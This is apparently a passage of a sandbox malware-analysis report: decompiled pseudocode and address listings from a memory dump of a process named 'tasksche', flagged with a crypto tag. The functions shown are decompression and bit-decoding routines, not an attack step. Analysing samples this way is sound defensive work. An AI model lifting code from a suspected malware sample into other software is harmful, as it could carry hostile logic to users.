							}
							__eflags =  *((intOrPtr*)(_t441 + 8)) -  *((intOrPtr*)(_t441 + 0x1c));
							if( *((intOrPtr*)(_t441 + 8)) >=  *((intOrPtr*)(_t441 + 0x1c))) {
								goto L97;
							}
							goto L12;
							L15:
							_t328 = _t441 + 0x4adc;
							_t216 =  *_t328;
							__eflags =  *(_t441 + 0x4ad8) - _t216 - 8;
							if(__eflags > 0) {
								_t295 = _t216 + _t216;
								 *_t328 = _t295;
								_push(_t295 * 0xc);
								_t307 = _t441 + 0x4ad4;
								_push( *_t307);
								_t297 = E0041A594(_t307, _t441, _t443, __eflags);
								 *_t307 = _t297;
								__eflags = _t297;
								if(_t297 == 0) {
									E004063CE(0x4335ac);
								}
							}
							_t217 =  *(_t441 + 0x4ad8);
							_t306 = _t217 * 0xc +  *(_t441 + 0x4ad4);
							_v28 = _t306;
							 *(_t441 + 0x4ad8) = _t217 + 1;
							_t219 = E0040978C(_t443);
							_t415 =  *(_t441 + 0xb4);
							_t220 = _t219 & 0x0000fffe;
							__eflags = _t220 -  *((intOrPtr*)(_t441 + 0x34 + _t415 * 4));
							if(_t220 >=  *((intOrPtr*)(_t441 + 0x34 + _t415 * 4))) {
								_t416 = _t415 + 1;
								_a4 = 0xf;
								__eflags = _t416 - 0xf;
								if(_t416 >= 0xf) {
									L26:
									_t331 =  *(_t443 + 4) + _a4;
									 *_t443 =  *_t443 + (_t331 >> 3);
									_t419 = _a4;
									 *(_t443 + 4) = _t331 & 0x00000007;
									_t333 = 0x10;
									_t223 = (_t220 -  *((intOrPtr*)(_t441 + 0x30 + _a4 * 4)) >> _t333 - _a4) +  *((intOrPtr*)(_t441 + 0x74 + _t419 * 4));
									__eflags = _t223 -  *((intOrPtr*)(_t441 + 0x30));
									if(_t223 >=  *((intOrPtr*)(_t441 + 0x30))) {
										_t223 = 0;
										__eflags = 0;
									}
									_t224 =  *(_t441 + 0xcb8 + _t223 * 2) & 0x0000ffff;
									goto L29;
								}
								_t405 = _t441 + 0x34 + _t416 * 4;
								while(1) {
									__eflags = _t220 -  *_t405;
									if(_t220 <  *_t405) {
										break;
									}
									_t416 = _t416 + 1;
									_t405 = _t405 + 4;
									__eflags = _t416 - 0xf;
									if(_t416 < 0xf) {
										continue;
									}
									goto L26;
								}
								_a4 = _t416;
								goto L26;
							} else {
								_t406 = 0x10;
								_t294 = _t220 >> _t406 - _t415;
								_t409 = ( *(_t294 + _t441 + 0xb8) & 0x000000ff) +  *(_t443 + 4);
								 *_t443 =  *_t443 + (_t409 >> 3);
								 *(_t443 + 4) = _t409 & 0x00000007;
								_t224 =  *(_t441 + 0x4b8 + _t294 * 2) & 0x0000ffff;
								L29:
								__eflags = _t224 - 0x100;
								if(_t224 >= 0x100) {
									__eflags = _t224 - 0x106;
									if(_t224 < 0x106) {
										__eflags = _t224 - 0x100;
										if(_t224 != 0x100) {
											__eflags = _t224 - 0x101;
											if(_t224 != 0x101) {
												 *_t306 = 3;
												_t306[2] = _t224 + 0xfffffefe;
												_t226 = E0040978C(_t443);
												_t420 =  *(_t441 + 0x2d78);
												_t227 = _t226 & 0x0000fffe;
												__eflags = _t227 -  *((intOrPtr*)(_t441 + 0x2cf8 + _t420 * 4));
												if(_t227 >=  *((intOrPtr*)(_t441 + 0x2cf8 + _t420 * 4))) {
													_t421 = _t420 + 1;
													_a4 = 0xf;
													__eflags = _t421 - 0xf;
													if(_t421 >= 0xf) {
														L88:
														_t338 =  *(_t443 + 4) + _a4;
														 *_t443 =  *_t443 + (_t338 >> 3);
														_t424 = _a4;
														 *(_t443 + 4) = _t338 & 0x00000007;
														_t340 = 0x10;
														_t230 = (_t227 -  *((intOrPtr*)(_t441 + 0x2cf4 + _a4 * 4)) >> _t340 - _a4) +  *((intOrPtr*)(_t441 + 0x2d38 + _t424 * 4));
														__eflags = _t230 -  *((intOrPtr*)(_t441 + 0x2cf4));
														if(_t230 >=  *((intOrPtr*)(_t441 + 0x2cf4))) {
															_t230 = 0;
															__eflags = 0;
														}
														_t231 =  *(_t441 + 0x397c + _t230 * 2) & 0x0000ffff;
														L91:
														__eflags = _t231 - 8;
														if(_t231 >= 8) {
															_t344 = (_t231 >> 2) - 1;
															_v8 = _t344;
															_t236 = ((_t231 & 0x00000003 | 0x00000004) << _t344) + 2;
															_a4 = _t236;
															__eflags = _t344;
															if(_t344 > 0) {
																_t237 = E0040978C(_t443);
																_t347 = 0x10;
																_a4 = _a4 + (_t237 >> _t347 - _v8);
																_t240 =  *(_t443 + 4) + _v8;
																 *_t443 =  *_t443 + (_t240 >> 3);
																_t241 = _t240 & 0x00000007;
																__eflags = _t241;
																 *(_t443 + 4) = _t241;
																_t236 = _a4;
															}
														} else {
															_t236 = _t231 + 2;
														}
														L95:
														_t306[1] = _t236;
														while(1) {
															_t214 =  *_t443;
															__eflags = _t214 - _v12;
															if(_t214 < _v12) {
																goto L15;
															}
															goto L9;
														}
													}
													_t351 = _t441 + 0x2cf8 + _t421 * 4;
													while(1) {
														__eflags = _t227 -  *_t351;
														if(_t227 <  *_t351) {
															break;
														}
														_t421 = _t421 + 1;
														_t351 = _t351 + 4;
														__eflags = _t421 - 0xf;
														if(_t421 < 0xf) {
															continue;
														}
														goto L88;
													}
													_a4 = _t421;
													goto L88;
												}
												_t352 = 0x10;
												_t242 = _t227 >> _t352 - _t420;
												_t355 = ( *(_t242 + _t441 + 0x2d7c) & 0x000000ff) +  *(_t443 + 4);
												 *_t443 =  *_t443 + (_t355 >> 3);
												 *(_t443 + 4) = _t355 & 0x00000007;
												_t231 =  *(_t441 + 0x317c + _t242 * 2) & 0x0000ffff;
												goto L91;
											}
											 *_t306 = 2;
											while(1) {
												_t214 =  *_t443;
												__eflags = _t214 - _v12;
												if(_t214 < _v12) {
													goto L15;
												}
												goto L9;
											}
										}
										_push( &_v48);
										E00414290(_v32, _t443);
										_t306[1] = _v48 & 0x000000ff;
										_t306[2] = _v44;
										_t358 = 4;
										 *_t306 = _t358;
										_t427 =  *(_t441 + 0x4ad8);
										_t249 = _t427 * 0xc +  *(_t441 + 0x4ad4);
										 *(_t441 + 0x4ad8) = _t427 + 1;
										 *_t249 = _t358;
										_t249[1] = _v36 & 0x000000ff;
										_t249[2] = _v40;
										while(1) {
											_t214 =  *_t443;
											__eflags = _t214 - _v12;
											if(_t214 < _v12) {
												goto L15;
											}
											goto L9;
										}
									}
									_t250 = _t224 + 0xfffffefa;
									__eflags = _t250 - 8;
									if(_t250 >= 8) {
										_t311 = (_t250 >> 2) - 1;
										_v8 = ((_t250 & 0x00000003 | 0x00000004) << _t311) + 2;
										__eflags = _t311;
										if(_t311 > 0) {
											_t288 = E0040978C(_t443);
											_t398 = 0x10;
											_v8 = _v8 + (_t288 >> _t398 - _t311);
											_t291 =  *(_t443 + 4) + _t311;
											 *_t443 =  *_t443 + (_t291 >> 3);
											_t292 = _t291 & 0x00000007;
											__eflags = _t292;
											 *(_t443 + 4) = _t292;
										}
									} else {
										_v8 = _t250 + 2;
									}
									_v24 = _v8;
									_t257 = E0040978C(_t443);
									_t429 =  *(_t441 + 0xfa0);
									_t258 = _t257 & 0x0000fffe;
									__eflags = _t258 -  *((intOrPtr*)(_t441 + 0xf20 + _t429 * 4));
									if(_t258 >=  *((intOrPtr*)(_t441 + 0xf20 + _t429 * 4))) {
										_t312 = 0xf;
										_t363 = _t429 + 1;
										__eflags = _t363 - _t312;
										if(_t363 >= _t312) {
											L48:
											_t365 =  *(_t443 + 4) + _t312;
											 *(_t443 + 4) = _t365 & 0x00000007;
											 *_t443 =  *_t443 + (_t365 >> 3);
											_t367 = 0x10;
											_t261 = (_t258 -  *((intOrPtr*)(_t441 + 0xf1c + _t312 * 4)) >> _t367 - _t312) +  *((intOrPtr*)(_t441 + 0xf60 + _t312 * 4));
											__eflags = _t261 -  *((intOrPtr*)(_t441 + 0xf1c));
											if(_t261 >=  *((intOrPtr*)(_t441 + 0xf1c))) {
												_t261 = 0;
												__eflags = 0;
											}
											_t262 =  *(_t441 + 0x1ba4 + _t261 * 2) & 0x0000ffff;
											goto L51;
										}
										_t436 = _t441 + 0xf20 + _t363 * 4;
										while(1) {
											__eflags = _t258 -  *_t436;
											if(_t258 <  *_t436) {
												break;
											}
											_t363 = _t363 + 1;
											_t436 = _t436 + 4;
											__eflags = _t363 - 0xf;
											if(_t363 < 0xf) {
												continue;
											}
											goto L48;
										}
										_t312 = _t363;
										goto L48;
									} else {
										_t392 = 0x10;
										_t287 = _t258 >> _t392 - _t429;
										_t395 = ( *(_t287 + _t441 + 0xfa4) & 0x000000ff) +  *(_t443 + 4);
										 *_t443 =  *_t443 + (_t395 >> 3);
										 *(_t443 + 4) = _t395 & 0x00000007;
										_t262 =  *(_t441 + 0x13a4 + _t287 * 2) & 0x0000ffff;
										L51:
										__eflags = _t262 - 4;
										if(_t262 >= 4) {
											_t315 = (_t262 >> 1) - 1;
											_a4 = ((_t262 & 0x00000001 | 0x00000002) << _t315) + 1;
											__eflags = _t315;
											if(_t315 <= 0) {
												L70:
												_t432 = _a4;
												__eflags = _t432 - 0x100;
												if(_t432 <= 0x100) {
													_t370 = _v24;
												} else {
													_t370 = _v8 + 1;
													__eflags = _t432 - 0x2000;
													if(_t432 > 0x2000) {
														_t370 = _t370 + 1;
														__eflags = _t432 - 0x40000;
														if(_t432 > 0x40000) {
															_t370 = _t370 + 1;
														}
													}
												}
												_t267 = _v28;
												 *_t267 = 1;
												_t267[1] = _t370;
												_t267[2] = _t432;
												while(1) {
													_t214 =  *_t443;
													__eflags = _t214 - _v12;
													if(_t214 < _v12) {
														goto L15;
													}
													goto L9;
												}
											}
											__eflags = _t315 - 4;
											if(__eflags < 0) {
												_t268 = E00412AEB(_t443);
												_t373 = 0x20;
												_a4 = _a4 + (_t268 >> _t373 - _t315);
												_t271 =  *(_t443 + 4) + _t315;
												 *_t443 =  *_t443 + (_t271 >> 3);
												_t272 = _t271 & 0x00000007;
												__eflags = _t272;
												 *(_t443 + 4) = _t272;
												goto L70;
											}
											if(__eflags > 0) {
												_t280 = E00412AEB(_t443);
												_t390 = 0x24;
												_a4 = _a4 + (_t280 >> _t390 - _t315 << 4);
												_t320 =  *(_t443 + 4) + _t315 - 4;
												 *_t443 =  *_t443 + (_t320 >> 3);
												_t321 = _t320 & 0x00000007;
												__eflags = _t321;
												 *(_t443 + 4) = _t321;
											}
											_t273 = E0040978C(_t443);
											_t316 =  *(_t441 + 0x1e8c);
											_t274 = _t273 & 0x0000fffe;
											__eflags = _t274 -  *((intOrPtr*)(_t441 + 0x1e0c + _t316 * 4));
											if(_t274 >=  *((intOrPtr*)(_t441 + 0x1e0c + _t316 * 4))) {
												_t433 = 0xf;
												_t378 = _t316 + 1;
												__eflags = _t378 - _t433;
												if(_t378 >= _t433) {
													L65:
													_t380 =  *(_t443 + 4) + _t433;
													 *(_t443 + 4) = _t380 & 0x00000007;
													 *_t443 =  *_t443 + (_t380 >> 3);
													_t382 = 0x10;
													_t277 = (_t274 -  *((intOrPtr*)(_t441 + 0x1e08 + _t433 * 4)) >> _t382 - _t433) +  *((intOrPtr*)(_t441 + 0x1e4c + _t433 * 4));
													__eflags = _t277 -  *((intOrPtr*)(_t441 + 0x1e08));
													if(_t277 >=  *((intOrPtr*)(_t441 + 0x1e08))) {
														_t277 = 0;
														__eflags = 0;
													}
													_t278 =  *(_t441 + 0x2a90 + _t277 * 2) & 0x0000ffff;
													goto L68;
												}
												_t319 = _t441 + 0x1e0c + _t378 * 4;
												while(1) {
													__eflags = _t274 -  *_t319;
													if(_t274 <  *_t319) {
														break;
													}
													_t378 = _t378 + 1;
													_t319 = _t319 + 4;
													__eflags = _t378 - 0xf;
													if(_t378 < 0xf) {
														continue;
													}
													goto L65;
												}
												_t433 = _t378;
												goto L65;
											} else {
												_t384 = 0x10;
												_t279 = _t274 >> _t384 - _t316;
												_t387 = ( *(_t279 + _t441 + 0x1e90) & 0x000000ff) +  *(_t443 + 4);
												 *_t443 =  *_t443 + (_t387 >> 3);
												 *(_t443 + 4) = _t387 & 0x00000007;
												_t278 =  *(_t441 + 0x2290 + _t279 * 2) & 0x0000ffff;
												L68:
												_a4 = _a4 + _t278;
												goto L70;
											}
										}
										_a4 = _t262 + 1;
										goto L70;
									}
								}
								__eflags =  *(_t441 + 0x4ad8) - 1;
								if( *(_t441 + 0x4ad8) <= 1) {
									L34:
									 *_t306 =  *_t306 & 0x00000000;
									_t306[2] = _t224;
									_t236 = 0;
									goto L95;
								}
								__eflags =  *(_t306 - 0xc);
								if( *(_t306 - 0xc) != 0) {
									goto L34;
								}
								_t402 =  *(_t306 - 8) & 0x0000ffff;
								__eflags = _t402 - 3;
								if(_t402 >= 3) {
									goto L34;
								}
								_t403 = _t402 + 1;
								 *(_t306 - 8) = _t403;
								 *((_t403 & 0x0000ffff) + _t306 - 4) = _t224;
								 *(_t441 + 0x4ad8) =  *(_t441 + 0x4ad8) - 1;
								continue;
							}
						}
					} else {
						 *((char*)(_t441 + 0x4ad0)) = 1;
						L98:
						return _t214;
					}
				} else {
					 *((char*)(_t441 + 0x2c)) = 1;
					_t302 = E0041462B(__ebx, __ecx, _t441 + 4, _t441 + 0x18, _t441 + 0x30);
					if(_t302 != 0) {
						goto L3;
					} else {
						 *((char*)(_t441 + 0x4ad0)) = 1;
						return _t302;
					}
				}
			}

0x00414946
0x0041494d
0x00414954
0x00414957
0x0041497e
0x0041497e
0x00414985
0x0041498a
0x0041498c
0x0041499d
0x004149a4
0x004149a4
0x004149ae
0x004149b1
0x004149b3
0x004149b6
0x004149b9
0x004149bc
0x004149be
0x004149be
0x004149c1
0x004149c2
0x004149c2
0x004149c4
0x004149c7
0x00000000
0x00000000
0x004149c9
0x004149c9
0x004149cc
0x00414f03
0x00000000
0x00414f03
0x004149d2
0x004149e0
0x004149e0
0x004149e3
0x004149f2
0x004149f2
0x004149f8
0x00414efc
0x00414efc
0x00000000
0x00414efc
0x00000000
0x004149f8
0x004149e5
0x004149ec
0x00000000
0x00000000
0x00000000
0x004149ec
0x004149d7
0x004149da
0x00000000
0x00000000
0x00000000
0x004149fe
0x004149fe
0x00414a04
0x00414a09
0x00414a0f
0x00414a11
0x00414a13
0x00414a18
0x00414a19
0x00414a1f
0x00414a21
0x00414a28
0x00414a2a
0x00414a2c
0x00414a33
0x00414a33
0x00414a2c
0x00414a38
0x00414a43
0x00414a4c
0x00414a4f
0x00414a55
0x00414a5a
0x00414a60
0x00414a65
0x00414a69
0x00414a94
0x00414a95
0x00414a9c
0x00414a9f
0x00414ab7
0x00414aba
0x00414ac4
0x00414ac6
0x00414acc
0x00414ad3
0x00414ad8
0x00414adc
0x00414adf
0x00414ae1
0x00414ae1
0x00414ae1
0x00414ae3
0x00000000
0x00414ae3
0x00414aa1
0x00414aa5
0x00414aa5
0x00414aa7
0x00000000
0x00000000
0x00414aa9
0x00414aaa
0x00414aad
0x00414ab0
0x00000000
0x00000000
0x00000000
0x00414ab2
0x00414ab4
0x00000000
0x00414a6b
0x00414a6d
0x00414a70
0x00414a7a
0x00414a82
0x00414a87
0x00414a8a
0x00414aeb
0x00414af0
0x00414af2
0x00414b31
0x00414b36
0x00414d8d
0x00414d8f
0x00414de0
0x00414de5
0x00414df9
0x00414dff
0x00414e02
0x00414e07
0x00414e0d
0x00414e12
0x00414e19
0x00414e44
0x00414e45
0x00414e4c
0x00414e4f
0x00414e6a
0x00414e6d
0x00414e77
0x00414e79
0x00414e7f
0x00414e89
0x00414e8e
0x00414e95
0x00414e9b
0x00414e9d
0x00414e9d
0x00414e9d
0x00414e9f
0x00414ea7
0x00414ea7
0x00414eaa
0x00414eb9
0x00414ebf
0x00414ec3
0x00414ec4
0x00414ec7
0x00414ec9
0x00414ecd
0x00414ed4
0x00414eda
0x00414ee0
0x00414ee8
0x00414eea
0x00414eea
0x00414eed
0x00414ef0
0x00414ef0
0x00414eac
0x00414eac
0x00414eac
0x00414ef3
0x00414ef3
0x004149c2
0x004149c2
0x004149c4
0x004149c7
0x00000000
0x00000000
0x00000000
0x004149c7
0x004149c2
0x00414e51
0x00414e58
0x00414e58
0x00414e5a
0x00000000
0x00000000
0x00414e5c
0x00414e5d
0x00414e60
0x00414e63
0x00000000
0x00000000
0x00000000
0x00414e65
0x00414e67
0x00000000
0x00414e67
0x00414e1d
0x00414e20
0x00414e2a
0x00414e32
0x00414e37
0x00414e3a
0x00000000
0x00414e3a
0x00414de7
0x004149c2
0x004149c2
0x004149c4
0x004149c7
0x00000000
0x00000000
0x00000000
0x004149c7
0x004149c2
0x00414d97
0x00414d99
0x00414da3
0x00414daa
0x00414daf
0x00414db0
0x00414db2
0x00414dbd
0x00414dc4
0x00414dca
0x00414dd1
0x00414dd8
0x004149c2
0x004149c2
0x004149c4
0x004149c7
0x00000000
0x00000000
0x00000000
0x004149c7
0x004149c2
0x00414b3c
0x00414b41
0x00414b44
0x00414b56
0x00414b60
0x00414b63
0x00414b65
0x00414b69
0x00414b70
0x00414b75
0x00414b7b
0x00414b82
0x00414b84
0x00414b84
0x00414b87
0x00414b87
0x00414b46
0x00414b49
0x00414b49
0x00414b8f
0x00414b92
0x00414b97
0x00414b9d
0x00414ba2
0x00414ba9
0x00414bd6
0x00414bd7
0x00414bda
0x00414bdc
0x00414bf6
0x00414bf9
0x00414c00
0x00414c06
0x00414c11
0x00414c16
0x00414c1d
0x00414c23
0x00414c25
0x00414c25
0x00414c25
0x00414c27
0x00000000
0x00414c27
0x00414bde
0x00414be5
0x00414be5
0x00414be7
0x00000000
0x00000000
0x00414be9
0x00414bea
0x00414bed
0x00414bf0
0x00000000
0x00000000
0x00000000
0x00414bf2
0x00414bf4
0x00000000
0x00414bab
0x00414bad
0x00414bb0
0x00414bba
0x00414bc2
0x00414bc7
0x00414bca
0x00414c2f
0x00414c2f
0x00414c32
0x00414c44
0x00414c4d
0x00414c50
0x00414c52
0x00414d52
0x00414d52
0x00414d55
0x00414d5b
0x00414d75
0x00414d5d
0x00414d60
0x00414d61
0x00414d67
0x00414d69
0x00414d6a
0x00414d70
0x00414d72
0x00414d72
0x00414d70
0x00414d67
0x00414d78
0x00414d7b
0x00414d81
0x00414d85
0x004149c2
0x004149c2
0x004149c4
0x004149c7
0x00000000
0x00000000
0x00000000
0x004149c7
0x004149c2
0x00414c58
0x00414c5b
0x00414d31
0x00414d38
0x00414d3d
0x00414d43
0x00414d4a
0x00414d4c
0x00414d4c
0x00414d4f
0x00000000
0x00414d4f
0x00414c61
0x00414c65
0x00414c6c
0x00414c74
0x00414c7a
0x00414c83
0x00414c85
0x00414c85
0x00414c88
0x00414c88
0x00414c8d
0x00414c92
0x00414c98
0x00414c9d
0x00414ca4
0x00414cd1
0x00414cd2
0x00414cd5
0x00414cd7
0x00414cf1
0x00414cf4
0x00414cfb
0x00414d01
0x00414d0c
0x00414d11
0x00414d18
0x00414d1e
0x00414d20
0x00414d20
0x00414d20
0x00414d22
0x00000000
0x00414d22
0x00414cd9
0x00414ce0
0x00414ce0
0x00414ce2
0x00000000
0x00000000
0x00414ce4
0x00414ce5
0x00414ce8
0x00414ceb
0x00000000
0x00000000
0x00000000
0x00414ced
0x00414cef
0x00000000
0x00414ca6
0x00414ca8
0x00414cab
0x00414cb5
0x00414cbd
0x00414cc2
0x00414cc5
0x00414d2a
0x00414d2a
0x00000000
0x00414d2a
0x00414ca4
0x00414c35
0x00000000
0x00414c35
0x00414ba9
0x00414af4
0x00414afb
0x00414b24
0x00414b24
0x00414b27
0x00414b2a
0x00000000
0x00414b2a
0x00414afd
0x00414b01
0x00000000
0x00000000
0x00414b03
0x00414b07
0x00414b0b
0x00000000
0x00000000
0x00414b0d
0x00414b0e
0x00414b15
0x00414b19
0x00000000
0x00414b19
0x00414a69
0x0041498e
0x0041498e
0x00414f04
0x00000000
0x00414f04
0x00414959
0x00414965
0x00414969
0x00414970
0x00000000
0x00414972
0x00414972
0x00000000
0x00414972
0x00414970

APIs

_realloc.LIBCMT ref: 00414A21

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _realloc
String ID:
API String ID: 1750794848-0
Opcode ID: 19fe713726019c3973d82b14b26a9fc68d02c60563561d4d82d0835d1efeca77
Instruction ID: 2a1397d1efbb1e156a4ddc1088eaf27e515a490876f5f290c2ff2c2445328417
Opcode Fuzzy Hash: 19fe713726019c3973d82b14b26a9fc68d02c60563561d4d82d0835d1efeca77
Instruction Fuzzy Hash: 0B02E5B1A106069BCB1DCF28C5916E9B7E1FF85304F24852ED556CBA85D338F9E1CB88

Uniqueness

Uniqueness Score: -1.00%

Function 00413EE3 Relevance: 1.8, APIs: 1, Instructions: 267
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E00413EE3(void* __ecx, unsigned int __edx) {
				signed int _v8;
				signed int _v12;
				char _v32;
				char _v60;
				char _v77;
				char _v137;
				char _v436;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t113;
				char _t119;
				signed int _t124;
				unsigned int _t125;
				signed int _t128;
				signed int _t129;
				signed int _t132;
				intOrPtr _t149;
				signed int _t155;
				signed int _t157;
				signed int _t158;
				signed int _t161;
				signed int _t162;
				void* _t172;
				void* _t173;
				signed int _t185;
				void* _t187;
				intOrPtr* _t189;
				signed int _t198;
				intOrPtr* _t200;
				void* _t201;
				signed int _t204;
				signed int _t210;
				signed int _t211;
				signed int _t219;
				signed int _t221;
				intOrPtr* _t222;
				intOrPtr* _t224;
				void* _t225;
				void* _t226;

				_t209 = __edx;
				_t173 = __ecx;
				_t224 = __ecx + 4;
				if( *_t224 <=  *((intOrPtr*)(__ecx + 0x78)) - 0x19) {
					L2:
					E004097BA(_t224,  ~( *(_t173 + 8)) & 0x00000007);
					_t113 = E004097D1(_t224);
					_t230 = _t113 & 0x00008000;
					if((_t113 & 0x00008000) == 0) {
						 *((intOrPtr*)(_t173 + 0xe654)) = 0;
						 *((intOrPtr*)(_t173 + 0x98c8)) = 0;
						 *((intOrPtr*)(_t173 + 0x98cc)) = 0;
						__eflags = _t113 & 0x00004000;
						if((_t113 & 0x00004000) == 0) {
							E0041A820(0, _t173 + 0xe4c0, 0, 0x194);
							_t226 = _t226 + 0xc;
						}
						E004097BA(_t224, 2);
						_v8 = 0;
						do {
							_v12 = E004097D1(_t224) >> 0x0000000c & 0x000000ff;
							E004097BA(_t224, 4);
							_t119 = _v12;
							__eflags = _t119 - 0xf;
							if(_t119 != 0xf) {
								 *((char*)(_t225 + _v8 - 0x1c)) = _t119;
								goto L16;
							}
							_t219 = E004097D1(_t224) >> 0x0000000c & 0x000000ff;
							E004097BA(_t224, 4);
							__eflags = _t219;
							if(_t219 != 0) {
								_t221 = _t219 + 2;
								while(1) {
									__eflags = _t221;
									if(_t221 <= 0) {
										break;
									}
									_t221 = _t221 - 1;
									__eflags = _v8 - 0x14;
									if(_v8 >= 0x14) {
										break;
									}
									_t23 =  &_v8;
									 *_t23 = _v8 + 1;
									__eflags =  *_t23;
									 *((char*)(_t225 + _v8 - 0x1c)) = 0;
								}
								_v8 = _v8 - 1;
								goto L16;
							}
							 *((char*)(_t225 + _v8 - 0x1c)) = 0xf;
							L16:
							_v8 = _v8 + 1;
							__eflags = _v8 - 0x14;
						} while (__eflags < 0);
						_t222 = _t173 + 0x3c44;
						E0041284B(__eflags,  &_v32, _t222, 0x14);
						_t37 =  &_v8;
						 *_t37 = _v8 & 0x00000000;
						__eflags =  *_t37;
						do {
							__eflags =  *_t224 -  *((intOrPtr*)(_t173 + 0x78)) - 5;
							if( *_t224 <=  *((intOrPtr*)(_t173 + 0x78)) - 5) {
								L20:
								_t124 = E0040978C(_t224);
								_t210 =  *(_t222 + 0x84);
								_t125 = _t124 & 0x0000fffe;
								__eflags = _t125 -  *((intOrPtr*)(_t222 + 4 + _t210 * 4));
								if(_t125 >=  *((intOrPtr*)(_t222 + 4 + _t210 * 4))) {
									_t211 = _t210 + 1;
									_v12 = 0xf;
									__eflags = _t211 - 0xf;
									if(_t211 >= 0xf) {
										L28:
										_t185 =  *(_t224 + 4) + _v12;
										 *_t224 =  *_t224 + (_t185 >> 3);
										_t209 = _v12;
										 *(_t224 + 4) = _t185 & 0x00000007;
										_t187 = 0x10;
										_t128 = (_t125 -  *((intOrPtr*)(_t222 + _v12 * 4)) >> _t187 - _v12) +  *((intOrPtr*)(_t222 + 0x44 + _t209 * 4));
										__eflags = _t128 -  *_t222;
										if(_t128 >=  *_t222) {
											_t128 = 0;
											__eflags = 0;
										}
										_t129 =  *(_t222 + 0xc88 + _t128 * 2) & 0x0000ffff;
										L31:
										__eflags = _t129 - 0x10;
										if(_t129 >= 0x10) {
											__eflags = _t129 - 0x12;
											_t189 = _t224;
											if(__eflags >= 0) {
												if(__eflags != 0) {
													_t132 = (E004097D1(_t189) >> 9) + 0xb;
													__eflags = _t132;
													_push(7);
												} else {
													_t132 = (E004097D1(_t189) >> 0xd) + 3;
													_push(3);
												}
												_v12 = _t132;
												E004097BA(_t224);
												while(1) {
													__eflags = _v12;
													if(_v12 <= 0) {
														goto L50;
													}
													_v12 = _v12 - 1;
													__eflags = _v8 - 0x194;
													if(_v8 >= 0x194) {
														goto L51;
													}
													_t90 =  &_v8;
													 *_t90 = _v8 + 1;
													__eflags =  *_t90;
													 *((char*)(_t225 + _v8 - 0x1b0)) = 0;
												}
												goto L50;
											}
											__eflags = _t129 - 0x10;
											if(_t129 != 0x10) {
												_t155 = (E004097D1(_t189) >> 9) + 0xb;
												__eflags = _t155;
												_push(7);
											} else {
												_t155 = (E004097D1(_t189) >> 0xd) + 3;
												_push(3);
											}
											_v12 = _t155;
											E004097BA(_t224);
											__eflags = _v8;
											if(_v8 > 0) {
												while(1) {
													__eflags = _v12;
													if(_v12 <= 0) {
														break;
													}
													_t157 = _v8;
													_v12 = _v12 - 1;
													__eflags = _t157 - 0x194;
													if(_t157 >= 0x194) {
														goto L51;
													}
													 *((char*)(_t225 + _t157 - 0x1b0)) =  *((intOrPtr*)(_t225 + _t157 - 0x1b1));
													_t158 = _t157 + 1;
													__eflags = _t158;
													_v8 = _t158;
												}
											}
											goto L50;
										}
										_t198 = _v8;
										_t209 =  *((intOrPtr*)(_t198 + _t173 + 0xe4c0)) + _t129 & 0x0000000f;
										 *(_t225 + _t198 - 0x1b0) =  *((intOrPtr*)(_t198 + _t173 + 0xe4c0)) + _t129 & 0x0000000f;
										_v8 = _t198 + 1;
										goto L50;
									}
									_t200 = _t222 + 4 + _t211 * 4;
									while(1) {
										__eflags = _t125 -  *_t200;
										if(_t125 <  *_t200) {
											break;
										}
										_t211 = _t211 + 1;
										_t200 = _t200 + 4;
										__eflags = _t211 - 0xf;
										if(_t211 < 0xf) {
											continue;
										}
										goto L28;
									}
									_v12 = _t211;
									goto L28;
								}
								_t201 = 0x10;
								_t161 = _t125 >> _t201 - _t210;
								_t204 = ( *(_t161 + _t222 + 0x88) & 0x000000ff) +  *(_t224 + 4);
								_t209 = _t204 >> 3;
								 *_t224 =  *_t224 + (_t204 >> 3);
								 *(_t224 + 4) = _t204 & 0x00000007;
								_t129 =  *(_t222 + 0x488 + _t161 * 2) & 0x0000ffff;
								goto L31;
							}
							_t162 = E0041236D(_t173, _t173, _t209);
							__eflags = _t162;
							if(_t162 == 0) {
								L52:
								_t149 = 0;
								L54:
								return _t149;
							}
							goto L20;
							L50:
							__eflags = _v8 - 0x194;
						} while (_v8 < 0x194);
						L51:
						__eflags =  *_t224 -  *((intOrPtr*)(_t173 + 0x78));
						 *((char*)(_t173 + 0xe658)) = 1;
						if(__eflags <= 0) {
							E0041284B(__eflags,  &_v436, _t173 + 0x94, 0x12b);
							E0041284B(__eflags,  &_v137, _t173 + 0xf80, 0x3c);
							E0041284B(__eflags,  &_v77, _t173 + 0x1e6c, 0x11);
							E0041284B(__eflags,  &_v60, _t173 + 0x2d58, 0x1c);
							_t174 = _t173 + 0xe4c0;
							__eflags = _t173 + 0xe4c0;
							E0041C290(_t173 + 0xe4c0, _t222, _t224, _t174,  &_v436, 0x194);
							_t149 = 1;
							goto L54;
						}
						goto L52;
					}
					 *((intOrPtr*)(_t173 + 0xe654)) = 1;
					return E00413A86(_t173 + 0x98d0, _t209, _t230, _t173, _t173 + 0xe4bc);
				}
				_t172 = E0041236D(__ecx, __ecx, __edx);
				if(_t172 != 0) {
					goto L2;
				}
				return _t172;
			}

0x00413ee3
0x00413eed
0x00413ef3
0x00413efb
0x00413f0a
0x00413f15
0x00413f1c
0x00413f21
0x00413f26
0x00413f4d
0x00413f53
0x00413f59
0x00413f5f
0x00413f64
0x00413f73
0x00413f78
0x00413f78
0x00413f7f
0x00413f84
0x00413f87
0x00413f98
0x00413f9b
0x00413fa0
0x00413fa3
0x00413fa6
0x00413fee
0x00000000
0x00413fee
0x00413fb6
0x00413fb9
0x00413fbe
0x00413fc0
0x00413fcd
0x00413fe2
0x00413fe2
0x00413fe4
0x00000000
0x00000000
0x00413fd0
0x00413fd1
0x00413fd5
0x00000000
0x00000000
